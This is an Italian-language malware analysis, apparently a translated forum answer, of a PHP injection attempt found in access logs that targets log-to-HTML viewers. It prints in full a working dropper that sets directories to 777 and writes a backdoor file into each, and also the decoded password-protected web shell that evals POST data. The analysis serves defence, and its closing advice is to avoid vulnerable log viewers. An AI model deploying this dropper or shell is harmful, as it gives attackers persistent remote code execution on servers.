stringa di attacco PHP nei log di accesso

Come ha sottolineato Thomas, questo attacco è progettato per sfruttare la scarsa gestione dei contenuti nelle utility di log. Esistono molti motori "log to HTML" che estraggono semplicemente il testo dei log e li posizionano ciecamente in un modello HTML. Quando l'utente richiede la pagina HTML dal server, i tag <?php vengono analizzati dal motore PHP e il codice viene eseguito. Poiché molti server consentono la gestione di file .html da parte di PHP, questo ha una ragionevole possibilità di funzionare.

Diamo un'occhiata al carico utile. Il blocco di base64 che vedi nella stringa di attacco decodifica il seguente script PHP:

@ini_set('allow_url_fopen', 1);

addLoader();
$data = @opendir('.');

while ($file = @readdir($data))
{
    $file = trim($file);
    if (!$file || preg_match('/^\.+$/', $file) || !is_dir($file)) continue;
    addLoader($file);
}

@closedir($data);

function addLoader($dir = '')
{
    if ($dir) $dir .= '/';
    @chmod($dir, 777);
    @system("chmod 777 $dir");

    $fp = fopen("{$dir}2e030ba348eb47877b994934d420c475.php", "w"); 
    fwrite($fp, base64_decode('PD9waHANCg0KQGluaV9zZXQoJ2FsbG93X3VybF9mb3BlbicsIDEpOw0KQGluaV9zZXQoJ2RlZmF1bHRfc29ja2V0X3RpbWVvdXQnLCA2MCk7DQpAaW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJywgNjApOw0KQHNldF90aW1lX2xpbWl0KDYwKTsNCg0KJGRhdGEgPSBAdW5zZXJpYWxpemUoYmFzZTY0X2RlY29kZSh0cmltKEAkX1BPU1RbJ2RhdGEnXSkpKTsNCg0KaWYgKEAhaXNfYXJyYXkoJGRhdGEpIHx8IG1kNSgkZGF0YVsncGFzc3dvcmQnXSkgIT0gJ2QzZGY0MzljM2U0YjJjNDE5MjBkOGUyNzMzMTEzMjM2JykgZXhpdDsNCmlmIChAJGRhdGFbJ2NvZGUnXSkgZXZhbChiYXNlNjRfZGVjb2RlKCRkYXRhWydjb2RlJ10pKTsNCmlmIChAJGRhdGFbJ2NoZWNrX2NvZGUnXSkgcHJpbnQgJGRhdGFbJ2NoZWNrX2NvZGUnXTsNCg0KPz4='));
    fclose($fp);

    if (file_exists("{$dir}2e030ba348eb47877b994934d420c475.php"))
    {
        $ck = "1823649365820354";
        print "$ck:{*}:$dir:{*}:";
        exit;
    }
}

Analizziamolo un po '...

1. La riga @ini_set abilita i gestori di URL nelle chiamate fopen , quindi è possibile recuperare le risorse esterne. Il prefisso @ elimina eventuali errori che potrebbero verificarsi se la chiamata fallisce.
2. La chiamata a addLoader() fa la maggior parte del lavoro. Ci entrerò in questo momento.
3. @opendir('.') ottiene un handle nella directory corrente.
4. Il ciclo while scorre attraverso ogni sottodirectory nella directory e chiama addLoader($file) per ciascuno. Usa un'espressione regolare per saltare le voci . e .. . Non lasciatevi ingannare dal nome della variabile: non scorre i file.
5. Infine chiama @closedir($data) . Bello da pulire!

Ma cosa fa addLoader ? Essenzialmente tenta di chmod 777 ogni directory che può trovare, quindi scarica un file PHP chiamato 2e030ba348eb47877b994934d420c475.php in essi, con alcuni contenuti presi da una stringa base64. L'ultimo blocco di codice sembra essere una sorta di meccanismo per consentire all'aggressore di identificare a quali percorsi è stato scritto correttamente, magari usando un numero magico per l'automazione. Nota a margine: non riesco a trovare alcun riferimento al nome del file hash online o in qualsiasi database di hash che conosco.

Analizziamo la base64:

<?php

@ini_set('allow_url_fopen', 1);
@ini_set('default_socket_timeout', 60);
@ini_set('max_execution_time', 60);
@set_time_limit(60);

$data = @unserialize(base64_decode(trim(@$_POST['data'])));

if (@!is_array($data) || md5($data['password']) != 'd3df439c3e4b2c41920d8e2733113236') exit;
if (@$data['code']) eval(base64_decode($data['code']));
if (@$data['check_code']) print $data['check_code'];

?>

Questo è abbastanza semplice. Le prime chiamate provano a configurare un ambiente permissivo, in cui è possibile caricare risorse esterne e gli script possono essere eseguiti fino a 60 secondi. Prende un parametro POST chiamato data e lo deserializza in una matrice e verifica che la password corrisponda a un hash MD5 hard-coded. Ho provato a cercare questo hash in alcuni database, ma non ho trovato un testo in chiaro corrispondente. Se la password è corretta, continua quindi a verificare la presenza di un parametro code , che viene quindi eseguito. Ha anche un'opzione check_code , che è presumibilmente per verificare che il codice sia arrivato correttamente dopo l'esecuzione della codifica e della decodifica del trasporto.

Quindi, tutto sommato, questa è una bella shell PHP standard con un payload di consegna che cerca di garantire la massima copertura in caso di qualsiasi sottodirectory scrivibile.

L'attaccante spera che tu possa consultare i tuoi file di registro attraverso un'interfaccia basata sul Web che includa il contenuto del registro "così com'è" in alcuni HTML, portando il server ad interpretare la direttiva PHP inclusa nell'Utente-Utente dall'aggressore.

La cosa migliore da fare è non usare un'interfaccia vulnerabile log-to-html che abbia questo particolare buco. Blocco e amp; co dovrebbe essere una misura temporanea per recuperare rapidamente dagli attacchi fino a quando non viene corretto il bug effettivo, ma non avere il suddetto bug è molto meglio.